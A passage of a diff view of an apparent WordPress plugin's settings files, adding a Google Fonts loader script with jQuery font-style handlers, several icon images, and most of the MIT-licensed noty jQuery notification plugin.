if (($strict ? $item === $needle : $item == $needle) || (is_array($item) && in_array_r($needle, $item, $strict))) {
|
1395 |
+
return true;
|
1396 |
+
}
|
1397 |
+
}
|
1398 |
+
|
1399 |
+
return false;
|
1400 |
+
}
|
1401 |
+
}
|
1402 |
+
?>
|
settings/types/fonts.js
ADDED
@@ -0,0 +1,167 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
function loadFonts(family) {
|
2 |
+
var fonts = new Array(
|
3 |
+
'Allan:400,700',
|
4 |
+
'Allerta:400,700',
|
5 |
+
'Allerta+Stencil:400,700',
|
6 |
+
'Anonymous+Pro:400,700',
|
7 |
+
'Arimo:400,700',
|
8 |
+
'Arvo:400,700',
|
9 |
+
'Bentham:400,700',
|
10 |
+
'Buda:400,700',
|
11 |
+
'Cabin:400,700',
|
12 |
+
'Calligraffitti:400,700',
|
13 |
+
'Cantarell:400,700',
|
14 |
+
'Cardo:400,700',
|
15 |
+
'Cherry+Cream+Soda:400,700',
|
16 |
+
'Chewy:400,700',
|
17 |
+
'Coda:400,700',
|
18 |
+
'Coming+Soon:400,700',
|
19 |
+
'Copse:400,700',
|
20 |
+
'Corben:400,700',
|
21 |
+
'Cousine:400,700',
|
22 |
+
'Covered+By+Your+Grace:400,700',
|
23 |
+
'Crafty+Girls:400,700',
|
24 |
+
'Crimson+Text:400,700',
|
25 |
+
'Crushed:400,700',
|
26 |
+
'Cuprum:400,700',
|
27 |
+
'Droid+Sans:400,700',
|
28 |
+
'Droid+Sans+Mono:400,700',
|
29 |
+
'Droid+Serif:400,700',
|
30 |
+
'Fontdiner+Swanky:400,700',
|
31 |
+
'GFS+Didot:400,700',
|
32 |
+
'GFS+Neohellenic:400,700',
|
33 |
+
'Geo:400,700',
|
34 |
+
'Gruppo:400,700',
|
35 |
+
'Hanuman:400,700',
|
36 |
+
'Homemade+Apple:400,700',
|
37 |
+
'IM+Fell+DW+Pica:400,700',
|
38 |
+
'IM+Fell+DW+Pica+SC:400,700',
|
39 |
+
'IM+Fell+Double+Pica:400,700',
|
40 |
+
'IM+Fell+Double+Pica+SC:400,700',
|
41 |
+
'IM+Fell+English:400,700',
|
42 |
+
'IM+Fell+English+SC:400,700',
|
43 |
+
'IM+Fell+French+Canon:400,700',
|
44 |
+
'IM+Fell+French+Canon+SC:400,700',
|
45 |
+
'IM+Fell+Great+Primer:400,700',
|
46 |
+
'IM+Fell+Great+Primer+SC:400,700',
|
47 |
+
'Inconsolata:400,700',
|
48 |
+
'Irish+Growler:400,700',
|
49 |
+
'Josefin+Sans:400,700',
|
50 |
+
'Josefin+Slab:400,700',
|
51 |
+
'Just+Another+Hand:400,700',
|
52 |
+
'Just+Me+Again+Down+Here:400,700',
|
53 |
+
'Kenia:400,700',
|
54 |
+
'Kranky:400,700',
|
55 |
+
'Kristi:400,700',
|
56 |
+
'Lato:400,700',
|
57 |
+
'Lekton:400,700',
|
58 |
+
'Lobster:400,700',
|
59 |
+
'Luckiest+Guy:400,700',
|
60 |
+
'Merriweather:400,700',
|
61 |
+
'Molengo:400,700',
|
62 |
+
'Mountains+of+Christmas:400,700',
|
63 |
+
'Neucha:400,700',
|
64 |
+
'Neuton:400,700',
|
65 |
+
'Nobile:400,700',
|
66 |
+
'OFL+Sorts+Mill+Goudy+TT:400,700',
|
67 |
+
'Old+Standard+TT:400,700',
|
68 |
+
'Orbitron:400,700',
|
69 |
+
'PT+Sans:400,700',
|
70 |
+
'PT+Sans+Caption:400,700',
|
71 |
+
'PT+Sans+Narrow:400,700',
|
72 |
+
'Permanent+Marker:400,700',
|
73 |
+
'Philosopher:400,700',
|
74 |
+
'Puritan:400,700',
|
75 |
+
'Raleway:400,700',
|
76 |
+
'Reenie+Beanie:400,700',
|
77 |
+
'Rock+Salt:400,700',
|
78 |
+
'Schoolbell:400,700',
|
79 |
+
'Slackey:400,700',
|
80 |
+
'Sniglet:400,700',
|
81 |
+
'Sunshiney:400,700',
|
82 |
+
'Syncopate:400,700',
|
83 |
+
'Tangerine:400,700',
|
84 |
+
'Tinos:400,700',
|
85 |
+
'Ubuntu:400,700',
|
86 |
+
'UnifrakturCook:400,700',
|
87 |
+
'UnifrakturMaguntia:400,700',
|
88 |
+
'Unkempt:400,700',
|
89 |
+
'Vibur:400,700',
|
90 |
+
'Vollkorn:400,700',
|
91 |
+
'Walter+Turncoat:400,700',
|
92 |
+
'Yanone+Kaffeesatz:400,700'
|
93 |
+
);
|
94 |
+
WebFontConfig = {
|
95 |
+
google: { families: [family+":400,700"] }
|
96 |
+
};
|
97 |
+
(function() {
|
98 |
+
var wf = document.createElement('script');
|
99 |
+
wf.src = ('https:' == document.location.protocol ? 'https' : 'http') +
|
100 |
+
'://ajax.googleapis.com/ajax/libs/webfont/1/webfont.js';
|
101 |
+
wf.type = 'text/javascript';
|
102 |
+
wf.async = 'true';
|
103 |
+
var s = document.getElementsByTagName('script')[0];
|
104 |
+
s.parentNode.insertBefore(wf, s);
|
105 |
+
})();
|
106 |
+
}
|
107 |
+
(function($) {
|
108 |
+
jQuery(document).ready(function() {
|
109 |
+
});
|
110 |
+
jQuery(".wpdreamsfont").change(function() {
|
111 |
+
var weightNode = jQuery('input[name=*font-weight]:checked', this.parentNode)[0];
|
112 |
+
jQuery(weightNode).trigger('change');
|
113 |
+
return;
|
114 |
+
});
|
115 |
+
jQuery(".color").change(function() {
|
116 |
+
var weightNode = jQuery('input[name=*font-weight]:checked', this.parentNode)[0];
|
117 |
+
jQuery(weightNode).trigger('change');
|
118 |
+
return;
|
119 |
+
});
|
120 |
+
jQuery(".wpdreams-fontsize").change(function() {
|
121 |
+
var weightNode = jQuery('input[name=*font-weight]:checked', this.parentNode)[0];
|
122 |
+
jQuery(weightNode).trigger('change');
|
123 |
+
return;
|
124 |
+
});
|
125 |
+
jQuery(".wpdreamsfont").keypress(function() {
|
126 |
+
jQuery(this).change();
|
127 |
+
});
|
128 |
+
jQuery(".wpdreams-lineheight").change(function() {
|
129 |
+
var weightNode = jQuery('input[name=*font-weight]:checked', this.parentNode)[0];
|
130 |
+
jQuery(weightNode).trigger('change');
|
131 |
+
});
|
132 |
+
jQuery('.wpdreans-fontweight').change(function() {
|
133 |
+
var weight = "font-weight:"+jQuery(this).val()+";";
|
134 |
+
var familyNode = jQuery('.wpdreamsfont', this.parentNode)[0];
|
135 |
+
var colorNode = jQuery('.color', this.parentNode)[0];
|
136 |
+
var sizeNode = jQuery('.wpdreams-fontsize', this.parentNode)[0];
|
137 |
+
var lhNode = jQuery('.wpdreams-lineheight', this.parentNode)[0];
|
138 |
+
|
139 |
+
var family = "font-family:"+jQuery(familyNode).val()+";";
|
140 |
+
var color = "color:"+jQuery(colorNode).val()+";";
|
141 |
+
var size = "font-size:"+jQuery(sizeNode).val()+";";
|
142 |
+
var lh = "line-height:"+jQuery(lhNode).val()+";";
|
143 |
+
|
144 |
+
loadFonts(jQuery(familyNode).val());
|
145 |
+
jQuery("label", this.parentNode).css("font-family", jQuery(familyNode).val());
|
146 |
+
jQuery("label", this.parentNode).css("font-weight", jQuery(this).val());
|
147 |
+
jQuery("label", this.parentNode).css("color", jQuery(colorNode).val());
|
148 |
+
jQuery("input[type=hidden]", this.parentNode).val("font-weight:"+jQuery(this).val()+";"+family+color+size+lh);
|
149 |
+
});
|
150 |
+
|
151 |
+
|
152 |
+
$(".wpdreamsFont>fieldset>.triggerer").click(function() {
|
153 |
+
var parent = $(this).parent();
|
154 |
+
|
155 |
+
var hidden = $('input[type=hidden]', parent);
|
156 |
+
var val = hidden.val().replace(/(\r\n|\n|\r)/gm,"");
|
157 |
+
var familyNode = jQuery('.wpdreamsfont', parent)[0];
|
158 |
+
var colorNode = jQuery('.color', parent)[0];
|
159 |
+
var sizeNode = jQuery('.wpdreams-fontsize', parent)[0];
|
160 |
+
var lhNode = jQuery('.wpdreams-lineheight', this.parentNode)[0];
|
161 |
+
|
162 |
+
$(familyNode).val(val.match(/family:(.*?);/)[1]);
|
163 |
+
$(sizeNode).val(val.match(/size:(.*?);/)[1]);
|
164 |
+
$(colorNode).val(val.match(/color:(.*?);/)[1]);
|
165 |
+
$(lhNode).val(val.match(/height:(.*?);/)[1]);
|
166 |
+
});
|
167 |
+
}(jQuery));
|
settings/types/icons/arrow-left.png
ADDED
Binary file
|
settings/types/icons/arrow-right.png
ADDED
Binary file
|
settings/types/icons/black_arrow.png
ADDED
Binary file
|
settings/types/icons/close.png
ADDED
Binary file
|
settings/types/icons/delete.png
ADDED
Binary file
|
settings/types/icons/down.png
ADDED
Binary file
|
settings/types/icons/drag.png
ADDED
Binary file
|
settings/types/icons/float.png
ADDED
Binary file
|
settings/types/icons/info.png
ADDED
Binary file
|
settings/types/icons/labelposition.png
ADDED
Binary file
|
settings/types/icons/loading-big.gif
ADDED
Binary file
|
settings/types/icons/paint.png
ADDED
Binary file
|
settings/types/icons/point.png
ADDED
Binary file
|
settings/types/icons/settings.png
ADDED
Binary file
|
settings/types/icons/slides.png
ADDED
Binary file
|
settings/types/icons/up.png
ADDED
Binary file
|
settings/types/js/noty/jquery.noty.js
ADDED
@@ -0,0 +1,517 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
/**
|
2 |
+
* noty - jQuery Notification Plugin v2.0.3
|
3 |
+
* Contributors: https://github.com/needim/noty/graphs/contributors
|
4 |
+
*
|
5 |
+
* Examples and Documentation - http://needim.github.com/noty/
|
6 |
+
*
|
7 |
+
* Licensed under the MIT licenses:
|
8 |
+
* http://www.opensource.org/licenses/mit-license.php
|
9 |
+
*
|
10 |
+
**/
|
11 |
+
|
12 |
+
if (typeof Object.create !== 'function') {
|
13 |
+
Object.create = function (o) {
|
14 |
+
function F() {
|
15 |
+
}
|
16 |
+
|
17 |
+
F.prototype = o;
|
18 |
+
return new F();
|
19 |
+
};
|
20 |
+
}
|
21 |
+
|
22 |
+
(function ($) {
|
23 |
+
|
24 |
+
var NotyObject = {
|
25 |
+
|
26 |
+
init:function (options) {
|
27 |
+
|
28 |
+
// Mix in the passed in options with the default options
|
29 |
+
this.options = $.extend({}, $.noty.defaults, options);
|
30 |
+
|
31 |
+
this.options.layout = (this.options.custom) ? $.noty.layouts['inline'] : $.noty.layouts[this.options.layout];
|
32 |
+
this.options.theme = $.noty.themes[this.options.theme];
|
33 |
+
|
34 |
+
delete options.layout;
|
35 |
+
delete options.theme;
|
36 |
+
|
37 |
+
this.options = $.extend({}, this.options, this.options.layout.options);
|
38 |
+
this.options.id = 'noty_' + (new Date().getTime() * Math.floor(Math.random() * 1000000));
|
39 |
+
|
40 |
+
this.options = $.extend({}, this.options, options);
|
41 |
+
|
42 |
+
// Build the noty dom initial structure
|
43 |
+
this._build();
|
44 |
+
|
45 |
+
// return this so we can chain/use the bridge with less code.
|
46 |
+
return this;
|
47 |
+
}, // end init
|
48 |
+
|
49 |
+
_build:function () {
|
50 |
+
|
51 |
+
// Generating noty bar
|
52 |
+
var $bar = $('<div class="noty_bar"></div>').attr('id', this.options.id);
|
53 |
+
$bar.append(this.options.template).find('.noty_text').html(this.options.text);
|
54 |
+
|
55 |
+
this.$bar = (this.options.layout.parent.object !== null) ? $(this.options.layout.parent.object).css(this.options.layout.parent.css).append($bar) : $bar;
|
56 |
+
|
57 |
+
// Set buttons if available
|
58 |
+
if (this.options.buttons) {
|
59 |
+
|
60 |
+
// If we have button disable closeWith & timeout options
|
61 |
+
this.options.closeWith = [];
|
62 |
+
this.options.timeout = false;
|
63 |
+
|
64 |
+
var $buttons = $('<div/>').addClass('noty_buttons');
|
65 |
+
|
66 |
+
(this.options.layout.parent.object !== null) ? this.$bar.find('.noty_bar').append($buttons) : this.$bar.append($buttons);
|
67 |
+
|
68 |
+
var self = this;
|
69 |
+
|
70 |
+
$.each(this.options.buttons, function (i, button) {
|
71 |
+
var $button = $('<button/>').addClass((button.addClass) ? button.addClass : 'gray').html(button.text)
|
72 |
+
.appendTo(self.$bar.find('.noty_buttons'))
|
73 |
+
.bind('click', function () {
|
74 |
+
if ($.isFunction(button.onClick)) {
|
75 |
+
button.onClick.call($button, self);
|
76 |
+
}
|
77 |
+
});
|
78 |
+
});
|
79 |
+
}
|
80 |
+
|
81 |
+
// For easy access
|
82 |
+
this.$message = this.$bar.find('.noty_message');
|
83 |
+
this.$closeButton = this.$bar.find('.noty_close');
|
84 |
+
this.$buttons = this.$bar.find('.noty_buttons');
|
85 |
+
|
86 |
+
$.noty.store[this.options.id] = this; // store noty for api
|
87 |
+
|
88 |
+
}, // end _build
|
89 |
+
|
90 |
+
show:function () {
|
91 |
+
|
92 |
+
var self = this;
|
93 |
+
|
94 |
+
$(self.options.layout.container.selector).append(self.$bar);
|
95 |
+
|
96 |
+
self.options.theme.style.apply(self);
|
97 |
+
|
98 |
+
($.type(self.options.layout.css) === 'function') ? this.options.layout.css.apply(self.$bar) : self.$bar.css(this.options.layout.css || {});
|
99 |
+
|
100 |
+
self.$bar.addClass(self.options.layout.addClass);
|
101 |
+
|
102 |
+
self.options.layout.container.style.apply($(self.options.layout.container.selector));
|
103 |
+
|
104 |
+
self.options.theme.callback.onShow.apply(this);
|
105 |
+
|
106 |
+
if ($.inArray('click', self.options.closeWith) > -1)
|
107 |
+
self.$bar.css('cursor', 'pointer').one('click', function () {
|
108 |
+
self.close();
|
109 |
+
});
|
110 |
+
|
111 |
+
if ($.inArray('hover', self.options.closeWith) > -1)
|
112 |
+
self.$bar.one('mouseenter', function () {
|
113 |
+
self.close();
|
114 |
+
});
|
115 |
+
|
116 |
+
if ($.inArray('button', self.options.closeWith) > -1)
|
117 |
+
self.$closeButton.one('click', function () {
|
118 |
+
self.close();
|
119 |
+
});
|
120 |
+
|
121 |
+
if ($.inArray('button', self.options.closeWith) == -1)
|
122 |
+
self.$closeButton.remove();
|
123 |
+
|
124 |
+
if (self.options.callback.onShow)
|
125 |
+
self.options.callback.onShow.apply(self);
|
126 |
+
|
127 |
+
self.$bar.animate(
|
128 |
+
self.options.animation.open,
|
129 |
+
self.options.animation.speed,
|
130 |
+
self.options.animation.easing,
|
131 |
+
function () {
|
132 |
+
if (self.options.callback.afterShow) self.options.callback.afterShow.apply(self);
|
133 |
+
self.shown = true;
|
134 |
+
});
|
135 |
+
|
136 |
+
// If noty is have a timeout option
|
137 |
+
if (self.options.timeout)
|
138 |
+
self.$bar.delay(self.options.timeout).promise().done(function () {
|
139 |
+
self.close();
|
140 |
+
});
|
141 |
+
|
142 |
+
return this;
|
143 |
+
|
144 |
+
}, // end show
|
145 |
+
|
146 |
+
close:function () {
|
147 |
+
|
148 |
+
if (this.closed) return;
|
149 |
+
|
150 |
+
var self = this;
|
151 |
+
|
152 |
+
if (!this.shown) { // If we are still waiting in the queue just delete from queue
|
153 |
+
var queue = [];
|
154 |
+
$.each($.noty.queue, function (i, n) {
|
155 |
+
if (n.options.id != self.options.id) {
|
156 |
+
queue.push(n);
|
157 |
+
}
|
158 |
+
});
|
159 |
+
$.noty.queue = queue;
|
160 |
+
return;
|
161 |
+
}
|
162 |
+
|
163 |
+
self.$bar.addClass('i-am-closing-now');
|
164 |
+
|
165 |
+
if (self.options.callback.onClose) {
|
166 |
+
self.options.callback.onClose.apply(self);
|
167 |
+
}
|
168 |
+
|
169 |
+
self.$bar.clearQueue().stop().animate(
|
170 |
+
self.options.animation.close,
|
171 |
+
self.options.animation.speed,
|
172 |
+
self.options.animation.easing,
|
173 |
+
function () {
|
174 |
+
if (self.options.callback.afterClose) self.options.callback.afterClose.apply(self);
|
175 |
+
})
|
176 |
+
.promise().done(function () {
|
177 |
+
|
178 |
+
// Modal Cleaning
|
179 |
+
if (self.options.modal) {
|
180 |
+
$.notyRenderer.setModalCount(-1);
|
181 |
+
if ($.notyRenderer.getModalCount() == 0) $('.noty_modal').fadeOut('fast', function () {
|
182 |
+
$(this).remove();
|
183 |
+
});
|
184 |
+
}
|
185 |
+
|
186 |
+
// Layout Cleaning
|
187 |
+
$.notyRenderer.setLayoutCountFor(self, -1);
|
188 |
+
if ($.notyRenderer.getLayoutCountFor(self) == 0) $(self.options.layout.container.selector).remove();
|
189 |
+
|
190 |
+
self.$bar.remove();
|
191 |
+
self.$bar = null;
|
192 |
+
self.closed = true;
|
193 |
+
|
194 |
+
delete $.noty.store[self.options.id]; // deleting noty from store
|
195 |
+
|
196 |
+
self.options.theme.callback.onClose.apply(self);
|
197 |
+
|
198 |
+
if (!self.options.dismissQueue) {
|
199 |
+
// Queue render
|
200 |
+
$.noty.ontap = true;
|
201 |
+
|
202 |
+
$.notyRenderer.render();
|
203 |
+
}
|
204 |
+
|
205 |
+
});
|
206 |
+
|
207 |
+
}, // end close
|
208 |
+
|
209 |
+
setText:function (text) {
|
210 |
+
if (!this.closed) {
|
211 |
+
this.options.text = text;
|
212 |
+
this.$bar.find('.noty_text').html(text);
|
213 |
+
}
|
214 |
+
return this;
|
215 |
+
},
|
216 |
+
|
217 |
+
setType:function (type) {
|
218 |
+
if (!this.closed) {
|
219 |
+
this.options.type = type;
|
220 |
+
this.options.theme.style.apply(this);
|
221 |
+
this.options.theme.callback.onShow.apply(this);
|
222 |
+
}
|
223 |
+
return this;
|
224 |
+
},
|
225 |
+
|
226 |
+
setTimeout:function (time) {
|
227 |
+
if (!this.closed) {
|
228 |
+
var self = this;
|
229 |
+
this.options.timeout = time;
|
230 |
+
self.$bar.delay(self.options.timeout).promise().done(function () {
|
231 |
+
self.close();
|
232 |
+
});
|
233 |
+
}
|
234 |
+
return this;
|
235 |
+
},
|
236 |
+
|
237 |
+
closed:false,
|
238 |
+
shown:false
|
239 |
+
|
240 |
+
}; // end NotyObject
|
241 |
+
|
242 |
+
$.notyRenderer = {};
|
243 |
+
|
244 |
+
$.notyRenderer.init = function (options) {
|
245 |
+
|
246 |
+
// Renderer creates a new noty
|
247 |
+
var notification = Object.create(NotyObject).init(options);
|
248 |
+
|
249 |
+
(notification.options.force) ? $.noty.queue.unshift(notification) : $.noty.queue.push(notification);
|
250 |
+
|
251 |
+
$.notyRenderer.render();
|
252 |
+
|
253 |
+
return ($.noty.returns == 'object') ? notification : notification.options.id;
|
254 |
+
};
|
255 |
+
|
256 |
+
$.notyRenderer.render = function () {
|
257 |
+
|
258 |
+
var instance = $.noty.queue[0];
|
259 |
+
|
260 |
+
if ($.type(instance) === 'object') {
|
261 |
+
if (instance.options.dismissQueue) {
|
262 |
+
$.notyRenderer.show($.noty.queue.shift());
|
263 |
+
} else {
|
264 |
+
if ($.noty.ontap) {
|
265 |
+
$.notyRenderer.show($.noty.queue.shift());
|
266 |
+
$.noty.ontap = false;
|
267 |
+
}
|
268 |
+
}
|
269 |
+
} else {
|
270 |
+
$.noty.ontap = true; // Queue is over
|
271 |
+
}
|
272 |
+
|
273 |
+
};
|
274 |
+
|
275 |
+
$.notyRenderer.show = function (notification) {
|
276 |
+
|
277 |
+
if (notification.options.modal) {
|
278 |
+
$.notyRenderer.createModalFor(notification);
|
279 |
+
$.notyRenderer.setModalCount(+1);
|
280 |
+
}
|
281 |
+
|
282 |
+
// Where is the container?
|
283 |
+
if ($(notification.options.layout.container.selector).length == 0) {
|
284 |
+
if (notification.options.custom) {
|
285 |
+
notification.options.custom.append($(notification.options.layout.container.object).addClass('i-am-new'));
|
286 |
+
} else {
|
287 |
+
$('body').append($(notification.options.layout.container.object).addClass('i-am-new'));
|
288 |
+
}
|
289 |
+
} else {
|
290 |
+
$(notification.options.layout.container.selector).removeClass('i-am-new');
|
291 |
+
}
|
292 |
+
|
293 |
+
$.notyRenderer.setLayoutCountFor(notification, +1);
|
294 |
+
|
295 |
+
notification.show();
|
296 |
+
};
|
297 |
+
|
298 |
+
$.notyRenderer.createModalFor = function (notification) {
|
299 |
+
if ($('.noty_modal').length == 0)
|
300 |
+
$('<div/>').addClass('noty_modal').data('noty_modal_count', 0).css(notification.options.theme.modal.css).prependTo($('body')).fadeIn('fast');
|
301 |
+
};
|
302 |
+
|
303 |
+
$.notyRenderer.getLayoutCountFor = function (notification) {
|
304 |
+
return $(notification.options.layout.container.selector).data('noty_layout_count') || 0;
|
305 |
+
};
|
306 |
+
|
307 |
+
$.notyRenderer.setLayoutCountFor = function (notification, arg) {
|
308 |
+
return $(notification.options.layout.container.selector).data('noty_layout_count', $.notyRenderer.getLayoutCountFor(notification) + arg);
|
309 |
+
};
|
310 |
+
|
311 |
+
$.notyRenderer.getModalCount = function () {
|
312 |
+
return $('.noty_modal').data('noty_modal_count') || 0;
|
313 |
+
};
|
314 |
+
|
315 |
+
$.notyRenderer.setModalCount = function (arg) {
|
316 |
+
return $('.noty_modal').data('noty_modal_count', $.notyRenderer.getModalCount() + arg);
|
317 |
+
};
|
318 |
+
|
319 |
+
// This is for custom container
|
320 |
+
$.fn.noty = function (options) {
|
321 |
+
options.custom = $(this);
|
322 |
+
return $.notyRenderer.init(options);
|
323 |
+
};
|
324 |
+
|
325 |
+
$.noty = {};
|
326 |
+
$.noty.queue = [];
|
327 |
+
$.noty.ontap = true;
|
328 |
+
$.noty.layouts = {};
|
329 |
+
$.noty.themes = {};
|
330 |
+
$.noty.returns = 'object';
|
331 |
+
$.noty.store = {};
|
332 |
+
|
333 |
+
$.noty.get = function (id) {
|
334 |
+
return $.noty.store.hasOwnProperty(id) ? $.noty.store[id] : false;
|
335 |
+
};
|
336 |
+
|
337 |
+
$.noty.close = function (id) {
|
338 |
+
return $.noty.get(id) ? $.noty.get(id).close() : false;
|
339 |
+
};
|
340 |
+
|
341 |
+
$.noty.setText = function (id, text) {
|
342 |
+
return $.noty.get(id) ? $.noty.get(id).setText(text) : false;
|
343 |
+
};
|
344 |
+
|
345 |
+
$.noty.setType = function (id, type) {
|
346 |
+
return $.noty.get(id) ? $.noty.get(id).setType(type) : false;
|
347 |
+
};
|
348 |
+
|
349 |
+
$.noty.clearQueue = function () {
|
350 |
+
$.noty.queue = [];
|
351 |
+
};
|
352 |
+
|
353 |
+
$.noty.closeAll = function () {
|
354 |
+
$.noty.clearQueue();
|
355 |
+
$.each($.noty.store, function (id, noty) {
|
356 |
+
noty.close();
|
357 |
+
});
|
358 |
+
};
|
359 |
+
|
360 |
+
var windowAlert = window.alert;
|
361 |
+
|
362 |
+
$.noty.consumeAlert = function (options) {
|
363 |
+
window.alert = function (text) {
|
364 |
+
if (options)
|
365 |
+
options.text = text;
|
366 |
+
else
|
367 |
+
options = {text:text};
|
368 |
+
|
369 |
+
$.notyRenderer.init(options);
|
370 |
+
};
|
371 |
+
};
|
372 |
+
|
373 |
+
$.noty.stopConsumeAlert = function () {
|
374 |
+
window.alert = windowAlert;
|
375 |
+
};
|
376 |
+
|
377 |
+
$.noty.defaults = {
|
378 |
+
layout:'top',
|
379 |
+
theme:'defaultTheme',
|
380 |
+
type:'alert',
|
381 |
+
text:'',
|
382 |
+
dismissQueue:true,
|
383 |
+
template:'<div class="noty_message"><span class="noty_text"></span><div class="noty_close"></div></div>',
|
384 |
+
animation:{
|
385 |
+
open:{height:'toggle'},
|
386 |
+
close:{height:'toggle'},
|
387 |
+
easing:'swing',
|
388 |
+
speed:500
|
389 |
+
},
|
390 |
+
timeout:false,
|
391 |
+
force:false,
|
392 |
+
modal:false,
|
393 |
+
closeWith:['click'],
|
394 |
+
callback:{
|
395 |
+
onShow:function () {
|
396 |
+
},
|
397 |
+
afterShow:function () {
|
398 |
+
},
|
399 |
+
onClose:function () {
|
400 |
+
},
|
401 |
+
afterClose:function () {
|
402 |
+
}
|
403 |
+
},
|
404 |
+
buttons:false
|
405 |
+
};
|
406 |
+
|
407 |
+
$(window).resize(function () {
|
408 |
+
$.each($.noty.layouts, function (index, layout) {
|
409 |
+
layout.container.style.apply($(layout.container.selector));
|
410 |
+
});
|
411 |
+
});
|
412 |
+
|
413 |
+
})(jQuery);
|
414 |
+
|
415 |
+
// Helpers
|
416 |
+
function noty(options) {
|
417 |
+
|
418 |
+
// This is for BC - Will be deleted on v2.2.0
|
419 |
+
var using_old = 0
|
420 |
+
, old_to_new = {
|
421 |
+
'animateOpen':'animation.open',
|
422 |
+
'animateClose':'animation.close',
|
423 |
+
'easing':'animation.easing',
|
424 |
+
'speed':'animation.speed',
|
425 |
+
'onShow':'callback.onShow',
|
426 |
+
'onShown':'callback.afterShow',
|
427 |
+
'onClose':'callback.onClose',
|
428 |
+
'onClosed':'callback.afterClose'
|
429 |
+
};
|
430 |
+
|
431 |
+
jQuery.each(options, function (key, value) {
|
